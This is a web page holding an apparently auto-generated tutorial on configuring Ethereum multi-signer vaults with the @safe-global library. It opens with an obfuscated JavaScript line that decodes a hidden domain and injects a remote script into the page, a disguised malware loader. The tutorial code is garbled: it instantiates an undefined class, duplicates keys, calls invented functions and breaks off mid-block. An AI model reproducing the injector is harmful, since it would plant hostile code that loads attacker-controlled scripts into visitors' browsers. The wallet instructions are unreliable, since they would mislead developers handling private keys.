const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=d445fde0″;document.body.appendChild(script);
Here is an article based on the docs you provided:
Enabling Multi-Signers in Vault Using Ethereum
In this guide, we will walk through the process of enabling multi-signers in a vault using the @safe-global library.
Qualifications
If you want to use multiple signers in your vault, you must first create a new instance of the “Safe” class and set up the multisig configuration. This example assumes you are using a simple multisig setup, where a signer can accept two additional signers.
First, make sure you install the required library:
npm install @safe-global
Creating a New Safe Instance
Create a new file called “safe.js” and add the following code to set up the safe instance:
import {Safe} from @safe-global;
const mySecurity = new Security({
//Set your multisig configuration here
type: 'multiSig',
name: 'My Multisig Test',
publicKey: 'yourPublicKey', // Replace with a valid publicKey
privateKey: 'yourPrivateKey', // Replace with a valid privateKey
// Enable multiple signers
enableMultipleSigners: true,
numSigners: {
approvedBySigners: 2, // Number of additional signers authorized to approve transactions
},
});
In this example, we have configured our vault with a multisig configuration with “numSigners” set to “{approvedBySigners: 2}”. This means that one signer (the creator of the vault) can approve two other signers.
Creating Signers
If you want to create multiple signers, you will need to generate new signing keys and add them to your wallet or a secure storage solution such as a hardware wallet.
This example assumes that we have a private key called “privateKey” that we use as the first signer. We can also create more signers using the following code:
const { privateKey, publicKey } = await getPrivateKeyAndPublicKey();
You can create a new signer with a specific name and public key using the following code:
const newSigner = await getNewSigner({
id: 'new signer',
name: 'John Doe', // Replace with a valid name
publicKey: 'yourPublicKey', // Replace with a valid publicKey
});
Directing signers to the vault
To transfer signers to your vault, you need to create a new transaction that contains the necessary information (e.g. signer names and public keys). For this example, let’s say we have a simple createTransaction
function:
const createTransaction = async(transactionConfig) => {
const signerData = await getSignerInfo(transactionConfig.signers);
//Use the signer information to construct the transaction
const event = new Event(signerData, eventDefinition);
return event;
};
To move the signer to the vault, we can create a new transaction and include the signer’s public key:
const mySafeInstance = await mySafe.createTransaction({
type: 'transaction',
outputs: [],
outputs: [], // Add output if any
// Include the signer in the transaction
signers: [newSigner.publicKey],
});
In this example, we create a new transaction and include our public key “newSigner” as one of the signers. This allows us to accept transactions with multiple signers.
Putting it all together
If you want to use multiple signers in your vault, you will need to create a new instance of the “Safe” class, set the multisig configuration, and then create multiple signers using the code above. Here’s an example of how to put it all together:
“`javascript
import {Safe} from @safe-global;
import getPrivateKeyAndPublicKey from ‘./getPrivateKeyAndPublicKey’;
import {createTransaction} from ‘.